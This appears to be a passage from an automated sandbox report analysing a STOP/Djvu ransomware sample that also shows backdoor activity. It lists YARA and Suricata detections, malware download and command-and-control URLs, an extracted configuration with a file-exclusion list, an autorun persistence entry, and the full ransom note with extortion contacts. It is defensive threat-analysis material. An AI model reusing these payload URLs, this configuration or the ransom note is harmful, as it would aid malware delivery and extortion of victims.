15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x102f28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xc1ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfd288:$x1: C:\SystemID\PersonalID.txt 0xfd734:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfd0f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x102f28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfd6ec:$s1: " --AutoStart 0xfd700:$s1: " --AutoStart 0x101348:$s2: --ForNetRes 0x101310:$s3: --Admin 0x101790:$s4: %username% 0x1018b4:$s5: ?pid= 0x1018c0:$s6: &first=true 0x1018d8:$s6: &first=false 0xfd7f4:$s7: delself.bat 0x1017f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x101820:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x101848:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
Click to see the 55 entries

Sigma Signatures

System Summary

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe" --AutoStart, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, ProcessId: 1804, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SysHelper

Snort Signatures

⊘No Snort rule has matched

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.6

Timestamp:	2024-07-25T01:49:17.143513+0200
SID:	2022930
Source Port:	443
Destination Port:	49738
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:48:56.212787+0200
SID:	2036333
Source Port:	49725
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:49:25.246809+0200
SID:	2833438
Source Port:	49736
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:48:55.791931+0200
SID:	2036334
Source Port:	49724
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:50:15.666108+0200
SID:	2036334
Source Port:	49742
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:49:51.747953+0200
SID:	2833438
Source Port:	49740
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T01:48:45.614581+0200
SID:	2803274
Source Port:	49731
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.6 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T01:48:34.350511+0200
SID:	2807908
Source Port:	49723
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.6 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T01:48:31.392891+0200
SID:	2807908
Source Port:	49719
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A CnC Domain in DNS Lookup - Source IP: 192.168.2.6 - Destination IP: 1.1.1.1

Timestamp:	2024-07-25T01:48:21.290720+0200
SID:	2838522
Source Port:	54284
Destination Port:	53
Protocol:	UDP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.6 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T01:48:30.814695+0200
SID:	2807908
Source Port:	49718
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.6 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T01:48:25.351885+0200
SID:	2807908
Source Port:	49711
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T01:48:53.240105+0200
SID:	2803274
Source Port:	49733
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T01:48:34.333705+0200
SID:	2803274
Source Port:	49722
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.6 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T01:48:21.792927+0200
SID:	2807908
Source Port:	49710
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ET MALWARE Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:49:17.584875+0200
SID:	2036333
Source Port:	49734
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:49:22.258940+0200
SID:	2036334
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET MALWARE Win32/Filecoder.STOP Variant Request for Public Key - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:49:49.181855+0200
SID:	2036334
Source Port:	49739
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET JA3 Hash - Possible Malware - Fake Firefox Font Update - Source IP: 192.168.2.6 - Destination IP: 20.42.73.29

Timestamp:	2024-07-25T01:48:28.281421+0200
SID:	2028371
Source Port:	49716
Destination Port:	443
Protocol:	TCP
Classtype:	Unknown Traffic

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T01:48:37.337628+0200
SID:	2803274
Source Port:	49727
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow - Source IP: 13.85.23.86 - Destination IP: 192.168.2.6

Timestamp:	2024-07-25T01:48:39.412445+0200
SID:	2022930
Source Port:	443
Destination Port:	49729
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO MALWARE Common Downloader Header Pattern UH - Source IP: 192.168.2.6 - Destination IP: 188.114.96.3

Timestamp:	2024-07-25T01:48:28.165742+0200
SID:	2803274
Source Port:	49714
Destination Port:	443
Protocol:	TCP
Classtype:	Potentially Bad Traffic

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.6 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T01:48:33.885846+0200
SID:	2807908
Source Port:	49721
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:50:18.398438+0200
SID:	2833438
Source Port:	49743
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE STOP Ransomware CnC Activity - Source IP: 192.168.2.6 - Destination IP: 92.246.89.93

Timestamp:	2024-07-25T01:48:58.792665+0200
SID:	2833438
Source Port:	49728
Destination Port:	80
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

ETPRO MALWARE Backdoor.Win32/Bdaejec.A Checkin - Source IP: 192.168.2.6 - Destination IP: 44.221.84.105

Timestamp:	2024-07-25T01:48:32.301371+0200
SID:	2807908
Source Port:	49720
Destination Port:	799
Protocol:	TCP
Classtype:	Malware Command and Control Activity Detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://ddos.dnsnb8.net:799/cj//k2.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net/	URL Reputation: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rar%	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rar/	Avira URL Cloud: Label: malware
Source: http://zerit.top/dl/build2.exe	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rarV	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rar	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rar3	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarA	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k5.rarC	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarD	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rarR	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rar.	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rar#	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rarK	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rarW	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k3.rarj	Avira URL Cloud: Label: phishing
Source: https://api.2ip.ua/geo.jsonm	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rarp	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rarDC:	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rar	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rara	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k2.rars	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k5.rarsC:	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k2.rarjava	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k1.rarp	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k1.rarm	Avira URL Cloud: Label: malware
Source: http://ddos.dnsnb8.net:799/cj//k4.rar	Avira URL Cloud: Label: phishing
Source: http://ddos.dnsnb8.net:799/cj//k4.rarg	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Avira: detection malicious, Label: TR/Dldr.Small.Z.haljq
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Users\user\AppData\Local\Temp\tmpF2C2.tmp	Avira: detection malicious, Label: W32/Jadtre.D
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files\7-Zip\Uninstall.exe	Avira: detection malicious, Label: W32/Jadtre.B
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Avira: detection malicious, Label: W32/Jadtre.B

Found malware configuration

Source: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp

Malware Configuration Extractor: Djvu {"Download URLs": ["http://zerit.top/dl/build2.exe", "http://fuyt.org/files/1/build3.exe"], "C2 url": "http://fuyt.org/fhsgtsspen6/get.php", "Ransom note file": "_readme.txt", "Ransom note": "ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like pictures, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-NdDG3HIUZp\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\nsupport@sysmail.ch\r\n\r\nReserve e-mail address to contact us:\r\nsupportsys@airmail.cc\r\n\r\nYour personal ID:\r\n0428Jsfkjn", "Ignore Files": ["ntuser.dat", "ntuser.dat.LOG1", "ntuser.dat.LOG2", "ntuser.pol", ".sys", ".ini", ".DLL", ".dll", ".blf", ".bat", ".lnk", ".regtrans-ms", "C:\\SystemID\\", "C:\\Users\\Default User\\", "C:\\Users\\Public\\", "C:\\Users\\All Users\\", "C:\\Users\\Default\\", "C:\\Documents and Settings\\", "C:\\ProgramData\\", "C:\\Recovery\\", "C:\\System Volume Information\\", "C:\\Users\\%username%\\AppData\\Roaming\\", "C:\\Users\\%username%\\AppData\\Local\\", "C:\\Windows\\", "C:\\PerfLogs\\", "C:\\ProgramData\\Microsoft\\", "C:\\ProgramData\\Package Cache\\", "C:\\Users\\Public\\", "C:\\$Recycle.Bin\\", "C:\\$WINDOWS.~BT\\", "C:\\dell\\", "C:\\Intel\\", "C:\\MSOCache\\", "C:\\Program Files\\", "C:\\Program Files (x86)\\", "C:\\Games\\", "C:\\Windows.old\\", "D:\\Users\\%username%\\AppData\\Roaming\\", "D:\\Users\\%username%\\AppData\\Local\\", "D:\\Windows\\", "D:\\PerfLogs\\", "D:\\ProgramData\\Desktop\\", "D:\\ProgramData\\Microsoft\\", "D:\\ProgramData\\Package Cache\\", "D:\\Users\\Public\\", "D:\\$Recycle.Bin\\", "D:\\$WINDOWS.~BT\\", "D:\\dell\\", "D:\\Intel\\", "D:\\MSOCache\\", "D:\\Program Files\\", "D:\\Program Files (x86)\\", "D:\\Games\\", "E:\\Users\\%username%\\AppData\\Roaming\\", "E:\\Users\\%username%\\AppData\\Local\\", "E:\\Windows\\", "E:\\PerfLogs\\", "E:\\ProgramData\\Desktop\\", "E:\\ProgramData\\Microsoft\\", "E:\\ProgramData\\Package Cache\\", "E:\\Users\\Public\\", "E:\\$Recycle.Bin\\", "E:\\$WINDOWS.~BT\\", "E:\\dell\\", "E:\\Intel\\", "E:\\MSOCache\\", "E:\\Program Files\\", "E:\\Program Files (x86)\\", "E:\\Games\\", "F:\\Users\\%username%\\AppData\\Roaming\\", "F:\\Users\\%username%\\AppData\\Local\\", "F:\\Windows\\"

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Joe Sandbox ML: detected
Source: C:\Program Files\7-Zip\Uninstall.exe	Joe Sandbox ML: detected
Source: C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040E870 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	7_2_0040E870
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040EA51 CryptDestroyHash,CryptReleaseContext,	7_2_0040EA51
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040EAA0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,_sprintf,CryptDestroyHash,CryptReleaseContext,	7_2_0040EAA0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_0040EC68 CryptDestroyHash,CryptReleaseContext,	7_2_0040EC68
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00410FC0 CryptAcquireContextW,__CxxThrowException@8,CryptCreateHash,__CxxThrowException@8,lstrlenA,CryptHashData,__CxxThrowException@8,CryptGetHashParam,CryptGetHashParam,__CxxThrowException@8,_memset,CryptGetHashParam,__CxxThrowException@8,CryptGetHashParam,_malloc,CryptGetHashParam,_memset,_sprintf,lstrcatA,CryptDestroyHash,CryptReleaseContext,	7_2_00410FC0
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Code function: 7_2_00411178 CryptDestroyHash,CryptReleaseContext,	7_2_00411178

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3349921663.000000000051A000.00000040.00000400.00020000.00000000.sdmp

Binary or memory string: -----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArGGHSIReD5SZWt2Y24Jb\\n\/OJzG8zcoErv0h105BXFBabk95nZT\/wQpplVzu+v7ZTXdl3xSBH1GzqAh9epyzHm\\nS6tN\/cpzi69NM585EzjGu1nInIYNy1AJ1C\/m+tycy9M2UPdFznknzcuL\/nYXhgjf\\nyclwhqed8ThmhDq8u5zVodb+IPNSZYPP5HUvTYUuCYDy6htq04Jmrml\/UZkzdSwZ\\nMk4b+WKc\/aWllJ\/Bu5h394Kif6QWBVXWAzjF06Pb2HJ2PHFM4ZF56W9lDjmx7uGB\\nMlq1xpN4q\/MzdW4kktCDEkrl50YvX9yzR68TXR3RPxfTz4EPGX4uI0BWHp8pOoeO\\n1wIDAQAB\\n-----END PUBLIC KEY-----

memstr_448f8504-3

Compliance

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 7.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\62577a15-c956-4abd-810b-2eb1508a8c01\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Unpacked PE file: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\_readme.txt
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\$WinREAgent\_readme.txt
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\$WinREAgent\Scratch\_readme.txt
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	File created: C:\Users\user\_readme.txt

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49733 version: TLS 1.2

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: ,.pDB source: wct425E.tmp.12.dr
Source:	Binary string: C:\lak\gomi-jetumaki.pdb source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe, 